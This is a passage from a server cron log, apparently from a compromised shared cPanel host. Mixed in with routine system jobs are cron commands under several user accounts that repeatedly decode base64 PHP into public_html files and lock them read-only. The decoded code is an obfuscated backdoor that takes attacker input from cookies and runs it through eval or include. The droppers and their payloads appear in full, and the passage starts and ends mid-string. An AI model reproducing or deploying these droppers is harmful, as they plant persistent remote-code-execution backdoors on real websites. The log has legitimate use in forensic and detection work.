hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:10:02 medusa CROND[10094]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 02:10:02 medusa CROND[10110]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 02:10:02 medusa CROND[10099]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 02:10:02 medusa CROND[10106]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 02:10:02 medusa CROND[10112]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 02:10:02 medusa CROND[10090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:10:02 medusa CROND[10108]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 02:11:01 medusa CROND[13812]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:11:01 medusa CROND[13971]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 02:11:01 medusa CROND[13972]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:11:01 medusa CROND[13974]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:11:01 medusa CROND[13973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:11:01 medusa CROND[13984]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:11:01 medusa CROND[13986]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 02:11:01 medusa CROND[13987]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:11:01 medusa CROND[13988]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:11:01 medusa CROND[13993]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:11:01 medusa CROND[13994]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:11:01 medusa CROND[13995]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:11:01 medusa CROND[13997]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:12:01 medusa CROND[21619]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 02:12:01 medusa CROND[21620]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:12:01 medusa CROND[21623]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:12:01 medusa CROND[21624]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:12:01 medusa CROND[21626]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:12:01 medusa CROND[21629]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:12:01 medusa CROND[21630]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:12:01 medusa CROND[21632]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:12:01 medusa CROND[21634]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:12:01 medusa CROND[21636]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:12:01 medusa CROND[21637]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:12:01 medusa CROND[21633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:12:01 medusa CROND[21635]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:12:01 medusa CROND[21641]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 02:13:01 medusa CROND[25434]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 02:13:01 medusa CROND[25435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:13:01 medusa CROND[25436]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:13:01 medusa CROND[25439]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVO